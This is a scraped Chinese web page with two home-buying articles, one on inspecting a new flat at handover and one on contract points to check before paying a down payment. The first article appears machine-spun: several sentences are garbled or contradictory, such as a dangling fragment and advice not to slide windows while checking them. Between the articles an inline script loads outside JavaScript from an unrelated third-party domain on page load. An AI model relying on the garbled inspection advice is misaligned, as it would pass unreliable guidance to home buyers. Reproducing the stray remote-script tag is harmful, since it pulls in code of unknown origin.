购房交房时房子验收不合格的后果

房屋移交时，购房期间的业主必须接受该房屋。一般情况下，业主会要求专业公司来验收。如果不合格，没有通过检查，后果会是怎样的呢？下面一起来了解详情。房子验收不合格的后果：因为验收后的房子，如果以后有问题，开发商不负责。如果墙体出现严重裂缝或渗漏，则所有维修费用必须自行承担，不能得到补偿。检查的方法一：房屋质量检查必须认真，新房的窗户关了很长一段时间，门窗的轨道上就会出现建筑垃圾和灰层。接受门窗时，不要推拉门窗。如果发现有障碍物，仔细检查垃圾是否破裂。现象。检查的方法二：墙体应平整，无渗漏水，无裂缝。接收墙体时，应注意是否有凹凸不平、渗水、开裂等现象。油漆是厨房的顶面和外墙。如发现上述情况，应及时查清原因并予以解决。检查的方法三：仔细检查地面有无龟裂现象，接收和检查地面是否有空鼓的情况，可用小锤子轻轻敲击，如果有空鼓的现象，应及时反思并要求尽快修复，否则装修时地板破裂，影响到与邻居的关系。房子验收不合格的后果之水电检查：水、电能正常使用检查水压看其流量大小，用万用表检测电压，看各强弱电是否畅通。检查下水道是否畅通，无积水现象检查下水道是否能灌满水桶，水进入水口，是否有卡尼堵塞，是否光滑，看表面是否有水。房子验收不合格的后果之购房合同验对；仔细核对销售合同仔细检查购销合同，看合同中所标注的各种设施、设备等有没有漏掉，数量对不对得上。以上是房子验收不合格的后果的应该检查事项，在验收的时候要仔细做好检查。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

2018年买房交首付前，购房者万万要看清合同这6点，当心钱白交！

新年刚过完，又听到哪哪的房价又降了，很多人都想趁着房价下降，把房子买了。大部分人在买房的时候都是选择按揭贷款，按揭贷款买房，首先就得先把首付给交了，那么在买房付首付的时候需要注意哪些事项？在什么时候交首付最合适呢？今天，兔菇凉来给大家普及普及。一、买房首付款什么时候交纳合适？一般情况，如果是选择按揭贷款买房的情况下，在签订商品房买卖合同（包括商品房预售合同）后，就可以向房地产开发商支付首付款，开发商会出具首付款收据。购房者凭借购房合同、首付款收据等资料向银行申请房屋按揭贷款。简单地说：先签合同，后交首付。二、买房交首付时要注意什么?1、一定要审查开发商是否具有"五证"，特别是商品房预售许可证，有了许可证，则标志着开发商具有土地使用证、规划许可证、建设工程许可证等。这是买房能否办产权证的关键。购买时需要注意所购楼号在预售范围内。2、与开发商签订的合同一定要采用房地产管理部门统一印制的标准房屋买卖合同文本，并按照文本中所列条款逐条逐项填写，千万不能马虎。3、注意合同条款中双方所填写的内容中权利与义务是否对等。有一些开发商的合同文本事先已填写好甚至补充条款也由自己填好，这种填写好的合同文本大多存在着约定的权利义务不平等的情况。一旦发生此种情况，买房人一定要提出自己的意见，决不能草率行事。4、面积确认及面积差异处理。如果选择按套内建筑面积为依据进行面积确认及面积差异处理时，应当在"面积差异处理"条款中明确面积发生误差时的处理方式。5、房屋买卖的付款方式是否规范。在合同中对付款的数额、期限、方式及违约责任等作出约定。有的开发商不是先签订合同，而是先让购房者交纳一定数额的定金，只给购房者一个收条，一旦发生纠纷往往造成购房者在追究其责任方面的举证困难。6、明确交房日期。资金不足而延期交房是常有的事，开发商在预售合同上往往大做文章，如只注明竣工日期，而不注明交付使用日期，购房者在签订合同时，一定要将交房日期准确无误地确定到"某年某月某日"，并注明开发商不能按时交房所需承担的责任。买房前后需要办理很多手续，设计很多法律条款，很多不良的开发商利用购房者房地产法律知识薄弱的缺点，欺骗消费者。所以，在买房之前，大家最好先做足准备工作，防止上当受骗。